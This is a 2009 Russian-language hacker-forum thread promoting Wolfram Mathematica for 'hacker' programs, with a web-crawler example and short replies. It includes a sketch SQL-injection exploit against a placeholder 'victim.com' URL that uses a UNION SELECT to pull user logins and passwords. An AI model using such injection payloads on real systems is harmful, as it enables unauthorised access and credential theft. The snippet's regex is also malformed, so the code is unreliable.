Авторские статьи Мощь Mathematica

Discussion in 'Статьи' started by Root-access, 14 Oct 2009.

  1. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Здравствуйте!

    В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research.

    Справка из Википедии:

    Mathematica — система компьютерной алгебры компании Wolfram Research. Содержит множество функций как для аналитических преобразований, так и для численных расчётов. Кроме того, программа поддерживает работу с графикой и звуком, включая построение двух- и трёхмерных графиков функций, рисование произвольных геометрических фигур, импорт и экспорт изображений и звука.

    Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться.

    Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских.

    Заодно расскажу об основных функциях, нужных для этого.

    Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica.

    Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД.

    Для работы с DatabaseLink в программе надо добавить строчку
    Code:
    Needs["DatabaseLink`"]
    .

    Напишите в Notebook следующий код:
    Code:
    Needs["DatabaseLink`"]
    OpenSQLConnection[]
    
    Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных.

    Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко.

    Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии.

    Code:
    Needs["DatabaseLink`"]
    urli = "http://ya.ru" (*Любой URL для краулинга*)
    text = Import[urli] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *)
    title = Import[urli, "Title"] (* Импортируем <title>*)
    links = Import[urli, "Hyperlinks"](*Импортируем все ссылки*)
    conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*)
    SQLConnection["index", 1, "Open", "<>"]
    SQLCreateTable[conn, 
      SQLTable["iNDEX"], {SQLColumn["urli", "DataTypeName" -> "STRING"], 
       SQLColumn["text", "DataTypeName" -> "STRING"],
       SQLColumn["title", "DataTypeName" -> "STRING"],
       SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*)
    SQLInsert[conn, "INDEX", {"urli", "text", "title", "links"},  {urli, 
      text, title, links}] (*Закидываем данные в таблицу*)
    CloseSQLConnection[conn](*Отключаемся от БД*)
    
    Как видите, код очень короткий и интуитивно понятный.

    Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока:)) их не писал.

    Но суть такова:

    Code:
    urli = "http://victim.com"
    StringCases[Import[urli<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'),2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*)
    
    Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body].


    Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи!

    (c) BECHED (aka Root-access) 2009, http://ahco.ru/topic1813.html
     
    #1 Root-access, 14 Oct 2009
    Last edited: 14 Oct 2009
    2 people like this.
  2. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    имхо, абсолютно нецелесообразное использование софта.
    я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?
     
  3. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Это почему же не целесообразное?!
    Кто запрещает писать, скажем web-краулер на Mathematica?
    Эта система далеко не только для научных расчетов.
    Если удобно, то почему бы и нет?
    Кстати поисковик wolframalfa.com тоже на mathematica написан.
     
  4. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    пошел гуглить, будет удалена.
     
  5. Xcontrol212

    Xcontrol212 Elder - Старейшина

    Joined:
    13 Feb 2008
    Messages:
    253
    Likes Received:
    110
    Reputations:
    7
    Достаточно интересно,уже качаю Wolfram:)
     
  6. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    эзотерика ёпть
     
  7. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Ну вообще-то это не эзотерика. Да это и не имеет никакого значения. Главное - польза.